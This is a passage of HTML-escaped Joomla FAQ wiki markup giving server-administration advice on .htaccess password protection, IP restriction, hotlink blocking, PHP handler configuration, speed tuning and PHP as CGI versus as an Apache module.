Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Requirements&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.&lt;br /&gt;
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.&lt;br /&gt;
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Check to be sure your site is configured to use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
2. Make a backup of the .htaccess file in your root public_http directory. If you don&#039;t have a .htaccess file at this location, create one now.&lt;br /&gt;
&lt;br /&gt;
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.&lt;br /&gt;
&lt;br /&gt;
 AddType x-mapp-php5 .php&lt;br /&gt;
 AddHandler application/x-httpd-php5 .php&lt;br /&gt;
 AddHandler cgi-php5 .php&lt;br /&gt;
&lt;br /&gt;
4. Carefully test.&lt;br /&gt;
&lt;br /&gt;
5. Delete the backup .htaccess file. Don&#039;t leave backups of .htaccess files in public directories.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How do I password protect directories using .htaccess?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveat (From Apache.org)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Basic authentication should not be considered secure for any particularly rigorous definition of secure.&lt;br /&gt;
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.&lt;br /&gt;
&lt;br /&gt;
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.&lt;br /&gt;
&lt;br /&gt;
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.&lt;br /&gt;
&lt;br /&gt;
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.&lt;br /&gt;
Apache Authentication, Authorization, and Access Control&lt;br /&gt;
&lt;br /&gt;
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.&lt;br /&gt;
&lt;br /&gt;
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it&#039;s probably best to add the new code to it.&lt;br /&gt;
&lt;br /&gt;
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.&lt;br /&gt;
&lt;br /&gt;
 /home/mysite/public_html/.htaccess&lt;br /&gt;
 /home/mysite/auth/.htpasswd/&lt;br /&gt;
 /home/mysite/auth/.htgroups/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you&#039;ve read the always current and official documentation at Apache.org, we&#039;ll spare you the trouble of displaying it again here.)&lt;br /&gt;
&lt;br /&gt;
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don&#039;t forget the dot at the beginning of the name.)&lt;br /&gt;
&lt;br /&gt;
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.&lt;br /&gt;
&lt;br /&gt;
 AuthUserFile /home/auth/.htpasswd&lt;br /&gt;
 AuthGroupFile /home/auth/.htgroups&lt;br /&gt;
 AuthType Basic&lt;br /&gt;
 AuthName &amp;quot;LWS&amp;quot;&lt;br /&gt;
 require group admins&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
8. Test carefully.&lt;br /&gt;
&lt;br /&gt;
9. Remove all backup .htaccess files from public_http directories.&lt;br /&gt;
&lt;br /&gt;
10. If you can not use the Apache htpasswd utility, here&#039;s a free, online script that creates the necessary files for you. You&#039;ll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you&#039;ll need to edit the resulting files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;.htaccess Generator:&#039;&#039;&#039; http://www.webmaster-toolkit.com/htaccess-generator.shtml&lt;br /&gt;
&lt;br /&gt;
== How do I restrict directory access by IP address using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)&lt;br /&gt;
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:&lt;br /&gt;
&lt;br /&gt;
 Order Deny,Allow&lt;br /&gt;
 Deny from all&lt;br /&gt;
 Allow from 100.100.100.100&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.&lt;br /&gt;
&lt;br /&gt;
* Optional: You can add multiple addresses by separating them with comma&#039;s.&lt;br /&gt;
&lt;br /&gt;
 100.100.100.101, 100.100.100.102&lt;br /&gt;
&lt;br /&gt;
==How do I convert an htaccess.txt file into a .htaccess file?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need &amp;quot;AllowOverride Options&amp;quot; or &amp;quot;AllowOverride All&amp;quot; privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.&lt;br /&gt;
# Make any adjustments to this file as appropriate for your site, and then save it in your site&#039;s home directory as, .htaccess (including the dot).&lt;br /&gt;
# Test your site&#039;s front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.&lt;br /&gt;
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]&lt;br /&gt;
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How do I block direct hot linking to image files using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveats&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Your server must allow .htaccess files for this technique to work.&lt;br /&gt;
# If you do not have a .htaccess file in your root directory, see the related FAQ first.&lt;br /&gt;
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.&lt;br /&gt;
# Hot linked images can only be replaced by other images, not with HTML pages.&lt;br /&gt;
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.&lt;br /&gt;
# Place the following code in the .htaccess file of your root directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Explanation&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means &amp;quot;aNy Case&amp;quot;, which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Block hot linking from specific domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means &amp;quot;Or Next&amp;quot;, as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Display a 403 forbidden code&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:&lt;br /&gt;
&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]&lt;br /&gt;
&lt;br /&gt;
= PHP =&lt;br /&gt;
&lt;br /&gt;
== Why is Joomla! written in PHP? ==&lt;br /&gt;
&lt;br /&gt;
: Might as well get it from the horse&#039;s mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&amp;quot;What it all boils down to is that PHP was never meant to win any beauty contests. It wasn&#039;t designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP&#039;s stubborness.&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== What is the latest stable release of PHP? ==&lt;br /&gt;
&lt;br /&gt;
Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.&lt;br /&gt;
&lt;br /&gt;
== How do I tune for speed with PHP5 and MySQL5? ==&lt;br /&gt;
&lt;br /&gt;
: This is just a point by point summary of how I&#039;ve been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.&lt;br /&gt;
&lt;br /&gt;
: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.&lt;br /&gt;
&lt;br /&gt;
# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.&lt;br /&gt;
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.&lt;br /&gt;
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn&#039;t bad for JPG and GIF images either. Don&#039;t forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.&lt;br /&gt;
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn&#039;t write it, but it&#039;s short, to the point, and works.&lt;br /&gt;
&lt;br /&gt;
              ob_start (&amp;quot;ob_gzhandler&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Content-type: text/css&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Cache-Control: must-revalidate&amp;quot;);&lt;br /&gt;
              $offset = 60 * 60 ;&lt;br /&gt;
              $ExpStr = &amp;quot;Expires: &amp;quot; .&lt;br /&gt;
              gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;,&lt;br /&gt;
              time() + $offset) . &amp;quot; GMT&amp;quot;;&lt;br /&gt;
              header($ExpStr);&lt;br /&gt;
&lt;br /&gt;
# Strip unneeded modules, components, mambots from Joomla. If you haven&#039;t used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!&lt;br /&gt;
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don&#039;t necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you&#039;ve noticed any problems, it&#039;s time to fix the code creating them, and test thoroughly before uploading the fixed versions.&lt;br /&gt;
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Should PHP run as a CGI script or as an Apache module? ==&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure Apache to use PHP: &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &amp;lt;i&amp;gt;Apache module&amp;lt;/i&amp;gt;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &amp;lt;i&amp;gt;CGI binary&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;(PS: Windows IIS normaly configures as CGI by the way)&amp;lt;/span&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to &lt;br /&gt;
the configuration and recognition of each method. &amp;amp;quot;In general&amp;amp;quot;&lt;br /&gt;
historically only one method or the other has been implemented,&lt;br /&gt;
however, with the architectural changes made to PHP starting with PHP5,&lt;br /&gt;
it has been quite common for hosting firms to configure for both. One&lt;br /&gt;
version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more&lt;br /&gt;
secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will&lt;br /&gt;
be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;What is the difference between CGI and apache Module Mode?&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Apache module&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
is compiled into the Apache binary, so the PHP interpreter runs in the&lt;br /&gt;
Apache process, meaning that when Apache spawns a child, each process&lt;br /&gt;
already contains a binary image of PHP. A CGI is executed as a single&lt;br /&gt;
process for each request, and must make an exec() or fork() call to the&lt;br /&gt;
PHP executable, meaning that each request will create a new process of&lt;br /&gt;
the PHP interpreter.  Apache is much more efficient in it&#039;s ability to&lt;br /&gt;
handle requests, and maaging resources, making the Apache module&lt;br /&gt;
slightly faster than the CGI (as well as more stable under load).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;CGI Mode&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
on the other hand, is more secure because the server now manages and&lt;br /&gt;
controls access to the binaries. PHP can now run as your own user&lt;br /&gt;
rather than the generic Apache user. This means you can put your&lt;br /&gt;
database passwords in a file readable only by you and your php scripts&lt;br /&gt;
can still access it! The &amp;amp;quot;Group&amp;amp;quot; and &amp;amp;quot;Other&amp;amp;quot; permissions ( refer &amp;lt;a href=&amp;quot;component/option,com_easyfaq/task,view/id,73/Itemid,268/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Permissions FAQ&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
can now be more restrictive. CGI mode is also claimed to be more&lt;br /&gt;
flexible in many respects as you should now not see, with phpSuExec (&lt;br /&gt;
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html&amp;quot; target=&amp;quot;_blank Permissions under phpSuExec]&lt;br /&gt;
issues with file ownership being taken over by the Apache user,&lt;br /&gt;
therefore you should no-longer have problems under FTP when trying to&lt;br /&gt;
access or modify files that have been uploaded through a PHP interface,&lt;br /&gt;
such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is&lt;br /&gt;
configured to run PHP as an Apache module, then you will have the&lt;br /&gt;
choice of using either php.ini or Apache .htaccess files, however, if&lt;br /&gt;
your server runs PHP in CGI mode then you will only have the choice of&lt;br /&gt;
using php.ini files locally to change settings, as Apache is no longer&lt;br /&gt;
in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Testing and Reviewing Your PHP Installation&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;i&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Also known as &amp;amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;amp;quot;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To&lt;br /&gt;
find out the PHP interpreter mode and to generally test your PHP&lt;br /&gt;
installation and to find out a vast amount of information about your&lt;br /&gt;
PHP environment, supported utilities, applications and settings, you&lt;br /&gt;
create a single PHP file containing &amp;lt;i&amp;gt;only&amp;lt;/i&amp;gt; the following lines;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 phpinfo();&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... &amp;lt;img src=&amp;quot;http://forum.joomla.org/Smileys/joomla/wink.gif&amp;quot; alt=&amp;quot;Wink&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;amp;quot;.php&amp;amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Other useful information&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &amp;lt;i&amp;gt;(less than the above option)&amp;lt;/i&amp;gt; many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee&#039;s offered...&lt;br /&gt;
&lt;br /&gt;
Again,&lt;br /&gt;
as above, make a file, name it anything you wish but make sure it has&lt;br /&gt;
the &amp;amp;quot;.php&amp;amp;quot; extension, copy and paste the following lines in to it and&lt;br /&gt;
FTP to your server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;?&amp;lt;br /&amp;gt;echo &amp;amp;quot;Hostname: &amp;amp;quot;. @php_uname(n) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) { echo &amp;amp;quot;Hostname: &amp;amp;quot;.&lt;br /&gt;
 @gethostbyname(trim(`hostname`)); } else { echo &amp;amp;quot;Server IP: &amp;amp;quot;.&lt;br /&gt;
 $_SERVER[&#039;SERVER_ADDR&#039;] .&amp;amp;quot;&amp;amp;quot;; }&lt;br /&gt;
 echo &amp;amp;quot;Platform: &amp;amp;quot;. @php_uname(s) .&amp;amp;quot; &amp;amp;quot;. @php_uname(r) .&amp;amp;quot; &amp;amp;quot;. @php_uname(v) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Architecture: &amp;amp;quot;. @php_uname(m) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Username: &amp;amp;quot;. get_current_user () .&amp;amp;quot; ( UiD: &amp;amp;quot;. getmyuid() .&amp;amp;quot;, GiD: &amp;amp;quot;. getmygid() .&amp;amp;quot; )&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Curent Path: &amp;amp;quot;. getcwd () .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Type: &amp;amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Admin: &amp;amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Signature: &amp;amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Protocol: &amp;amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Mode: &amp;amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;amp;quot;&amp;amp;quot;;&amp;lt;br /&amp;gt;&lt;br /&gt;
 ?&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! HISA&amp;lt;/span&amp;gt; or &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! Tools Suite&amp;lt;/span&amp;gt; can also assist to determine which mode your server in running in, also&lt;br /&gt;
providing a large amount of other related  information including&lt;br /&gt;
recommendations on configuration;     &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Tools Suite&amp;lt;/b&amp;gt; (JTS) is a complete &amp;amp;quot;Suite&amp;amp;quot; of Tools to help you troubleshoot and maintain Joomla! and include the &amp;amp;quot;HISA&amp;amp;quot; script&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://joomlacode.org/gf/project/jts/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Download JTS Here&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Health, Installation and Security Audit&amp;lt;/b&amp;gt; (HISA) is a single standalone script that provides purely configuration information.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://joomlacode.org/gf/project/hisa/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Download HISA Here&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://forum.joomla.org/index.php/topic,136328.0.html&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Forum Discussion Here&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;How to TroubleShoot A Joomla! Installation&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Another &amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;Indirect method&amp;lt;/span&amp;gt;,&lt;br /&gt;
and possibly not 100% reliable, is that if you are unable to make use&lt;br /&gt;
of .htaccess on Linux hosting and Apache based servers then you are&lt;br /&gt;
either running in CGI mode or your host has disabled the use of&lt;br /&gt;
.htaccess even if your server is running PHP as an Apache Module. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: maroon&amp;quot;&amp;gt;Remove these files immediately after use, the information contained in their&lt;br /&gt;
output is extensive and explicit regarding your PHP and server&lt;br /&gt;
configurations, it will help those wishing to cause your site harm&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;  &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;For those wishing to know more about &amp;amp;quot;How To...&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as an Apache module&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure Apache to load PHP as a module to &amp;lt;i&amp;gt;&#039;parse&#039;&amp;lt;/i&amp;gt;&lt;br /&gt;
your PHP scripts, the httpd.conf needs to be modified, typically found&lt;br /&gt;
in &amp;amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;amp;quot; or &amp;amp;quot;/etc/httpd/conf/&amp;amp;quot;.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out&lt;br /&gt;
&amp;amp;quot;LoadModule&amp;amp;quot; statements. (Statements prefixed by the hash &amp;amp;quot;#&amp;amp;quot; sign are&lt;br /&gt;
regarded as having been commented out.) If PHP is running in &amp;amp;quot;Apache&lt;br /&gt;
Module&amp;amp;quot; Mode you should see something very similar to the following;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module &amp;amp;quot;c:/php/php4apache.dll&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 1.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
